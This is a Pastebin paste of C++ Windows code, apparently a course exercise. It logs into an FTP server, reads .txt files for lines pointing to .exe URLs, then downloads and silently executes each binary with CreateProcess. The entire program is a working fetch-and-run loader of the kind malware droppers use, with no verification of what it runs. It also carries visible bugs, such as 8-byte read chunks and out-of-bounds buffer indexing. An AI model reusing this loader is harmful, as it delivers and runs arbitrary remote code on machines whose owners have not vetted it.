Advertisement
Guest User

Untitled

a guest
Dec 8th, 2016
119
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.10 KB | None | 0 0
  1. /*
  2. Antonio Jesus Pelaez Priego
  3. Create a program which connects to a FTP server with a user and password.
  4. The server address and credentials should be received from the command line (argv).
  5. You have to enumerate all the files with the extension .txt from FTP server, you have to open each file
  6. in order to search for the lines witch starts with http, and ends in .exe
  7. You have to download all of these executables, and execute them. (CreateProcess, with the local path).
  8. */
  9.  
  10. #include "stdafx.h"
  11. #include <windows.h>
  12. #include <wininet.h>
  13. #include <iostream>
  14. #include <string>
  15. #include <fstream>
  16.  
  17. #include "atlbase.h"
  18. #include "atlstr.h"
  19. #include "comutil.h"
  20.  
  21. #pragma comment( lib, "wininet" )
  22.  
  23. using namespace std;
  24.  
  25. //For convert the arguments to LPCWSTR
  26. wchar_t *charArrayToLPCWSTR(const char* charArray)
  27. {
  28. wchar_t* wString = new wchar_t[4096];
  29. MultiByteToWideChar(CP_ACP, 0, charArray, -1, wString, 4096);
  30. return wString;
  31. }
  32.  
  33. int main(int argc, char * argv[]){
  34.  
  35. HANDLE h = InternetOpen(_T("MyAgent"), INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
  36. HANDLE h1 = InternetConnect(h, charArrayToLPCWSTR(argv[1]), 21, charArrayToLPCWSTR(argv[2]), charArrayToLPCWSTR(argv[3]), INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
  37.  
  38. if (!h1) {
  39. cout << "Error InternetConnect " << GetLastError() << endl;
  40. InternetCloseHandle(h);
  41. InternetCloseHandle(h1);
  42. system("pause");
  43. return 2;
  44. }
  45.  
  46. WIN32_FIND_DATA fd;
  47. HANDLE h2 = FtpFindFirstFile(h1, _T("*.txt"), &fd, NULL, INTERNET_FLAG_RELOAD);
  48.  
  49. if (!h2) {
  50. cout << "Error FtpFindFirstFile " << GetLastError() << endl;
  51. return 1;
  52. }
  53.  
  54. do {
  55. //wcout << fd.cFileName << endl;
  56. DWORD bytesRead = 0;
  57. char * buffer = new char[fd.nFileSizeLow];
  58.  
  59. HANDLE h3 = FtpOpenFile(h1, fd.cFileName, GENERIC_READ, FTP_TRANSFER_TYPE_UNKNOWN, INTERNET_FLAG_RELOAD);
  60.  
  61. if (!h3) {
  62. cout << "Error FtpOpenFile " << GetLastError() << endl;
  63. return 1;
  64. }
  65.  
  66. while (InternetReadFile(h3, buffer, fd.nFileSizeLow, &bytesRead) && bytesRead != 0)
  67. {
  68.  
  69. int size = fd.nFileSizeLow;
  70.  
  71. //Gettings the http.....exe
  72.  
  73. int numExes = 0;
  74.  
  75. if (size > 8) {
  76. int pos1 = 0;
  77. for (int i = 0; (i <= size); i++) {
  78. if ((buffer[i] == '\n') || buffer[i] == EOF) {
  79. if ((buffer[pos1] == 'h') && (buffer[pos1 + 1] == 't') && (buffer[pos1 + 2] == 't') && (buffer[pos1 + 3] == 'p')) {
  80. if ((buffer[i - 2] == 'e') && (buffer[i - 3] == 'x') && (buffer[i - 4] == 'e') && (buffer[i - 5] == '.')) {
  81. string exeUrl = "";
  82. for (int j = pos1; j < i - 1; j++)
  83. exeUrl +=buffer[j];
  84.  
  85. //Downloading the exe
  86. cout << exeUrl << endl;
  87.  
  88. wstring stemp = std::wstring(exeUrl.begin(), exeUrl.end());
  89. LPCWSTR sw = stemp.c_str();
  90.  
  91. URL_COMPONENTS url_c;
  92. url_c.dwStructSize = (DWORD)sizeof(URL_COMPONENTS);
  93.  
  94. url_c.lpszExtraInfo = new TCHAR[1024];
  95. url_c.dwExtraInfoLength = (DWORD)1024;
  96.  
  97. url_c.lpszHostName = new TCHAR[1024];
  98. url_c.dwHostNameLength = 1024;
  99.  
  100. url_c.lpszPassword = new TCHAR[1024];
  101. url_c.dwPasswordLength = 1024;
  102.  
  103. url_c.lpszScheme = new TCHAR[1024];
  104. url_c.dwSchemeLength = 1024;
  105.  
  106. url_c.lpszUrlPath = new TCHAR[1024];
  107. url_c.dwUrlPathLength = 1024;
  108.  
  109. url_c.lpszUserName = new TCHAR[1024];
  110. url_c.dwUserNameLength = 1024;
  111.  
  112. if (!InternetCrackUrl(sw, 0, 0, &url_c)) {
  113. cout << "error InternetCrackUrl -- > " << GetLastError() << endl;
  114. return 1;
  115. }
  116.  
  117. wcout << url_c.lpszHostName << endl;
  118.  
  119. PCTSTR mimeTypes[] = { _T("text/*"),NULL };
  120. HANDLE hx = InternetOpen(_T("MyAgent"), INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
  121. if (!hx) {
  122. cout << "error hx -- > " << GetLastError() << endl;
  123. return 1;
  124. }
  125.  
  126. HANDLE hx1 = InternetConnect(hx, url_c.lpszHostName, 80, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL);
  127. if (!hx1) {
  128. cout << "error hx1 -- > " << GetLastError() << endl;
  129. return 1;
  130. }
  131.  
  132.  
  133.  
  134.  
  135. HANDLE hx2 = HttpOpenRequest(hx1, _T("GET"), url_c.lpszUrlPath, NULL, NULL, mimeTypes, 0, 0);
  136. if (!hx2) {
  137. cout << "error hx2 -- > " << GetLastError() << endl;
  138. return 1;
  139. }
  140.  
  141. wcout << url_c.lpszUrlPath << endl;
  142. if (!HttpSendRequest(hx2, NULL, 0, NULL, 0)) {
  143. cout << "error HttpSendRequest -- > " << GetLastError() << endl;
  144. return 1;
  145. }
  146.  
  147. //*******************************************/////////////
  148. // Download the binary file
  149.  
  150. fstream myfile;
  151. string name = "executable" + to_string(numExes) + ".exe" ;
  152. numExes++;
  153. myfile = fstream(name, ios::out | ios::binary);
  154. char *cBuffer = new char[12345678];
  155. DWORD dwBytesRead = 0;
  156.  
  157.  
  158. while (InternetReadFile(hx2, cBuffer, sizeof(cBuffer), &dwBytesRead) && dwBytesRead > 0)
  159. {
  160. myfile.write(cBuffer, dwBytesRead);
  161. }
  162. myfile.close();
  163. delete[] cBuffer;
  164.  
  165. //Executing the .exe
  166.  
  167. STARTUPINFO si;
  168. PROCESS_INFORMATION pi;
  169.  
  170. ZeroMemory(&si, sizeof(si));
  171. si.cb = sizeof(si);
  172. ZeroMemory(&pi, sizeof(pi));
  173.  
  174. USES_CONVERSION_EX;
  175. LPWSTR szCmdline = A2W_EX(name.c_str());
  176.  
  177. if(!CreateProcess(NULL, szCmdline, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)){
  178. cout << "error CreateProcess -- > " << GetLastError() << endl;
  179. return 1;
  180. }
  181.  
  182.  
  183. // Wait until child process exits.
  184. /****************************************************/
  185.  
  186. WaitForSingleObject(pi.hProcess, INFINITE);
  187.  
  188. CloseHandle(pi.hProcess);
  189. CloseHandle(pi.hThread);
  190.  
  191.  
  192.  
  193.  
  194.  
  195.  
  196. InternetCloseHandle(hx2);
  197. InternetCloseHandle(hx1);
  198. InternetCloseHandle(hx);
  199.  
  200.  
  201.  
  202. }
  203. }
  204. pos1 = i + 1;
  205. }
  206. }
  207. }
  208. }
  209.  
  210. delete[] buffer;
  211. InternetCloseHandle(h3);
  212. } while (InternetFindNextFile(h2, &fd));
  213.  
  214.  
  215.  
  216. system("pause");
  217. return 0;
  218.  
  219. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement